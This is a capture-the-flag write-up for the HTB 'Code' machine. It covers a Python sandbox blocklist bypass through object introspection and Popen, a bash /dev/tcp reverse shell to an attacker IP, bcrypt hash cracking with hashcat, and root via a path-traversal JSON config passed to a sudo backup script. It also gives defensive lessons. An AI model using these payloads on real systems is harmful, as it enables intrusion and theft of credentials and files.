HTB Code: Python Sandbox Escape and Backy Sudo Bypass
Code box: string-based blocklist bypass, subprocess.Popen via the object graph, bcrypt SQLite passwords, and root through a backy sudo JSON path traversal.
HTB Code: Python Sandbox Escape and Backy Sudo Bypass
The Code box has an in-browser Python editor. Dangerous words (import, os, exec, eval, open, __) are blocked; but because the blocking is purely string-based, those classes still sit in memory at runtime. The next door to root is sudo /usr/bin/backy.sh with a JSON config.
1. Recon
nmap -p- --min-rate=10000 -sV -sC code.htbTypical output looks like this:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9b:3f:... (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.12.3)
| http-title: CodeSans - Python Playground
| http-server-header: Werkzeug/3.0.3 Python/3.12.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelThe page on port 5000 is titled "Python Playground", a Flask app where you type code into a box and press "Run" to see the result. Nmap's -sC scripts told us the stack: Werkzeug, Flask's default server. The next step is to guess which user runs this service: often a dedicated user like app-production.
ffuf -u http://code.htb:5000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
# /run_code [200]
# /static/ [301]The /run_code POST endpoint takes JSON: {"code": "..."}. The response is {"output": "..."}. That is our first test surface for a sandbox escape.
2. Understanding the Filter
Send this to the editor:
import os; print(os.getuid())Response: {"error": "banned word: import"}. So the check runs on the source code itself. A simple variant looks like this (a hypothetical server-side app.py):
BANNED = ["import", "os", "exec", "eval", "open", "__", "subprocess", "system", "popen"]
def sandbox_run(code: str) -> str:
low = code.lower()
for tok in BANNED:
if tok in low:
return f"banned word: {tok}"
buf = io.StringIO()
with redirect_stdout(buf):
exec(code, {"__builtins__": __builtins__}, {})
return buf.getvalue()The critical mistake here: rejecting any code where import appears in low, but still allowing the code to build OTHER strings at runtime via getattr or string concatenation. The filter cuts text, not Python objects.
3. Sandbox Escape
The chain begins at object, the root class in the tuple's method-resolution order. object.__subclasses__() returns only its direct subclasses—not every class or module loaded in the interpreter. A class such as subprocess.Popen may be reachable this way when that module has already been imported.
Because the editor also bans the __ token, reach the same target with getattr:
getattr(getattr(getattr((), '__class__'), '__mro__')[-1], '__subclasses__')()Of course '__class__' contains __; to bypass the filter entirely, split and rejoin the double underscore:
d = chr(95) * 2
cls = getattr((), d + 'class' + d)
mro = getattr(cls, d + 'mro' + d)
obj = mro[-1]
subs = getattr(obj, d + 'subclasses' + d)()
P = next(c for c in subs
if getattr(c, d + 'name' + d) ==
chr(80) + chr(111) + chr(112) + chr(101) + chr(110))This avoids writing the blocked double-underscore and Popen strings in the submitted source; the strings are still constructed at runtime. It bypasses a source-text check, not a Python sandbox. Class availability depends on the interpreter state, so fail closed if the search finds no match rather than assuming a stable index.
P(['/bin/bash', '-c', 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'])
Listener side:
```bash
nc -lvnp 4444
# connect to [10.10.10.72] from (UNKNOWN) [10.10.10.72] 53128
# bash: cannot set terminal process group
# app-production@code:~$ id
# uid=1001(app-production) gid=1001(app-production) groups=1001(app-production)Step by step
d = chr(95)*2: constructs the underscore pair at runtime, so the source-text filter does not see the literal token.cls = getattr((), d+'class'+d): gets the class of an empty tuple without spelling the blocked attribute name in source.mro = getattr(cls, d+'mro'+d): reads the tuple class's method resolution order; its last entry isobject.obj = mro[-1]: holds that root class.subs = getattr(obj, d+'subclasses'+d)(): lists direct subclasses ofobject; the result depends on imports and runtime state.next(...): selects a matching class by its name built from character codes rather than by a process-specific list index.P([...]): calls the selected class with an explicit argv list. Here/bin/bash -cintentionally interprets the reverse-shell command; this is not shell-free execution.bash -i >& /dev/tcp/...: asks Bash to connect its interactive input and output to the listener; network egress and Bash support are prerequisites.
Shell stabilisation after the reverse shell arrives:
script /dev/null -c bash
export TERM=xterm
# Ctrl-Z, in the background: stty raw -echo; fg
reset
python3 -c 'import pty;pty.spawn("/bin/bash")'4. User Pivot
On the foothold, walk the /var/www/app tree:
find /var/www/app -name "*.db" -o -name "*.sqlite*" 2>/dev/null
# /var/www/app/instance/database.db
sqlite3 /var/www/app/instance/database.db ".tables"
# users sandbox_sessions
sqlite3 /var/www/app/instance/database.db "select username,password from users"
# martin|$2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2ReBecause it is Bcrypt ($2b$12$), use hashcat mode 3200 rather than John:
cat > hashes.txt <<'EOF'
$2b$12$LJ3m4yBs2w1fW0cVQk0pQeH6m8lJ8j6mPq1dG4hK7u8zF0s3Yt2Re
EOF
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --status --status-timer=30
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
# martin:nafeelswordsmaster <-- $2b$12$...:nafeelswordsmaster--status-timer=30 shows us progress; bcrypt at cost factor 12 is slow even on GPU, so a rule-based (-r rules/best64.rule) or hybrid (?a?a?a?a masked) attempt may be needed. Once Martin's password is found:
Hashcat Run Tips
bcrypt mode 3200 does hundreds of attempts per minute on a classic dictionary attack; rockyou alone finishes in most cases, but if it doesn't, try best64.rule variations first:
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --status --status-timer=30If it still isn't cracked, try 4-6 character suffixes with a hybrid mask: passwords like nafeelswordsmaster usually get a year or number suffix:
hashcat -m 3200 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d'Run on GPU instead of CPU; enable workload profile with -w 3. Use --potfile-disable for a clean test so a previous attempt's pot file doesn't skew the result.
su martin
# Password: nafeelswordsmaster
martin@code:~$ cat user.txt5. Root: sudo backy
martin@code:~$ sudo -l
Matching Defaults entries for martin on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User martin may run the following commands on code:
(ALL : ALL) NOPASSWD: /usr/bin/backy.shNote: the sudo rule does not include a fixed config path — we can run backy.sh as root with any argument. That is the precondition for the attack: we supply our own JSON config and choose the backup targets.
backy.sh is a bash wrapper; it parses the JSON with jq and hands off to a Go binary called backy. The listing below is a reconstructed summary showing how the fields are handled — not a verbatim source quote:
cat /usr/bin/backy.sh # (reconstructed skeleton)
CONF="${1:?config required}"
DEST=$(jq -r '.destination' "$CONF")
# (1) literal "../" sequences in paths are removed in a single pass
jq -r '.directories_to_archive | map(gsub("../"; ""))[]' "$CONF" | while read -r dir; do
# (2) only an allowed prefix is accepted
case "$dir" in
/var/*|/home/*) backy --add "$dir" ;;
*) echo "disallowed path: $dir" >&2; exit 1 ;;
esac
done
backy --archive "$DEST"There are two defences: (1) literal ../ sequences in paths are removed by gsub; (2) every path must start with the /var/ or /home/ prefix. So an attempt like /root/..//root/ trips the prefix check. The way around it is to write a string where the single-pass cleanup produces a new ../: in ....// removing the middle ../ leaves ../ behind; because gsub scans the string exactly once, four dots written adjacently yield a "reborn" escape component. To also satisfy the /home/ prefix:
A malicious config — satisfies the /home/ prefix, then normalises to /root/ after gsub:
mkdir -p /tmp/exf && cd /tmp/exf
cat > cfg.json <<'EOF'
{
"destination": "/tmp/exf/",
"multiprocessing": true,
"directories_to_archive": ["/home/app-production/....//....//root/"]
}
EOF
sudo /usr/bin/backy.sh /tmp/exf/cfg.json
ls -la /tmp/exf
# code-20261006-141203.tar.bz2
tar xjf code-20261006-141203.tar.bz2 -C /tmp/exf/out
ls /tmp/exf/out
# root.txt id_rsa .ssh
cat /tmp/exf/out/root.txtResolution: /home/app-production/....//....//root/ passes the prefix check (starts with /home/); each ....// collapses to ../ in one pass; the result is /home/app-production/../../root/ → /root/.
Note: the real script's line numbers and variable names on the box may differ; the critical flow is that the sudo wrapper parses the JSON as root, the resulting backup archive is owned by root, and it lands in a world-readable directory.
Attack Path
+---------------------------+ +-----------------------------+
| Visitor (browser) | POST | Flask /run_code endpoint |
| code box |------->| blocklist filter |
+------------+--------------+ +--------------+--------------+
| |
| __ token split via chr(95) | Popen from
| | object.__subclasses__()
v v
+---------------------------+ +-----------------------------+
| app-production shell | -----> | /var/www/app/instance/ |
| (sandbox escape) | reads | database.db -> bcrypt |
+------------+--------------+ +--------------+--------------+
| |
| hashcat -m 3200 rockyou | martin password
v v
+---------------------------+ +-----------------------------+
| martin session | sudo | /usr/bin/backy.sh |
| user.txt |------->| /tmp/exf/cfg.json |
+------------+--------------+ +--------------+--------------+
| |
| /root from tar.bz2 | root.txt + id_rsa
v v
+------------------------------------------------------------------+
| root@code:~# (full control) |
+------------------------------------------------------------------+Lessons
- A source-text blocklist is not a sandbox. A filter can miss strings assembled at runtime, while object introspection can expose powerful objects already present in the process.
object.__subclasses__()lists only direct subclasses and is interpreter-dependent; it is not a complete catalog or a safety boundary. Use a separate restricted execution environment with explicit filesystem, syscall, and network limits. - A
sudoscript that reads a JSON config = root access to wherever the config says. Runningbacky.shas root means every field in the JSON is processed with root privilege. Because the paths indirectories_to_archivearen't validated, any user can make unreadable directories be added to the archive and dropped somewhere world-readable. The real mistake in the sudo rule is that the argument isn't fixed:NOPASSWD: /usr/bin/backy.shaccepts any config path. The right rule fixes the argument (/usr/bin/backy.sh /root/backy.conf) or keeps the config on a root-owned path. - In 2026,
..is still the most reliable path-traversal token. Single-pass string cleanups likegsub("../"; "")delete the middle../in a....//sequence while leaving a new../behind — meaning the string that builds the defence also builds the string that bypasses it. The right approach is to resolve withos.path.realpath(orfilepath.Clean) and verify the result stays under an allowed root. The same mistake repeats in every new service: instead of filtering input at the string level, design the operation so it never runs with unauthorised roots. - Bcrypt hashes are slow to crack even on GPU; wordlist quality is the decider. Trying rockyou with hashcat mode 3200 is the standard first step, but watching progress with
--status-timerand applyingbest64.ruleif needed can cut crack time from hours to minutes. If hashes leaked from a server use cost factor 12, expect a few hundred attempts per second; so before starting an offline crack, guessing the target's password policy (length, word repetition, company-name patterns) speeds up the work. - Class discovery is runtime-dependent.
__subclasses__()exposes only direct subclasses ofobject; the set and ordering vary with the interpreter and imports. Do not treat a hard-coded index or one observed class list as a stable escape recipe. - Review sudo rules every quarter. Every binary granted via
NOPASSWDis a door opened by an argument the user controls; if there's a*wildcard, the rule is root-equivalent. RULE: scan with a script that does static analysis of sudoers weekly and add an explanatory comment to every rule. Put a "why is this needed" note next to each rule; a rule you can't explain gets removed.
Appendix: Common Pitfalls
- Do not hard-code an index from
__subclasses__(). Search the runtime list by class name, and account for the case where the required class has not been imported. - If no reverse shell lands, egress may be restricted. If outbound connections from port 5000 are blocked, an HTTP tunnel is tried first: a periodic beacon with
curlor data exfiltration overurllibwithpython3 -c. On the Code box, direct TCP egress is open. - Verify the hashcat output rather than
su martin. The Cracked line comes with two columns likemartin:nafeelswordsmaster; trailing spaces or$escapes in the hash cause shell problems, so use quotes when writing to a file with a heredoc. - The backy sudo rule doesn't fix the argument. The
(ALL : ALL) NOPASSWD: /usr/bin/backy.shrule accepts any config path; that's why you can point it straight at your own file like/tmp/exf/cfg.json. If the rule fixed the argument (e.g. only/root/backy.conf), this path would close. - The archive name is time-dependent. Names like
code-20261006-141203.tar.bz2are produced bydatetime.now(); find the current file withls /tmp/exfand check the contents withtar tjfbefore extracting. - Keep the session after grabbing root.txt. If the
su martinsession closes,/tmp/exf/outis still readable; back it up withcp /root/root.txt /tmp/.
Related Research & Internal References
- API Access Control Test Plan - testing code-execution endpoints that accept user input.
- Security Finding Scoring - rating a sandbox escape plus a sudo misconfiguration as a chain.
// END OF REPORT Tags: HTB-Code / Python Sandbox / bcrypt / backy / sudo bypass
What do you think?
React to show your appreciation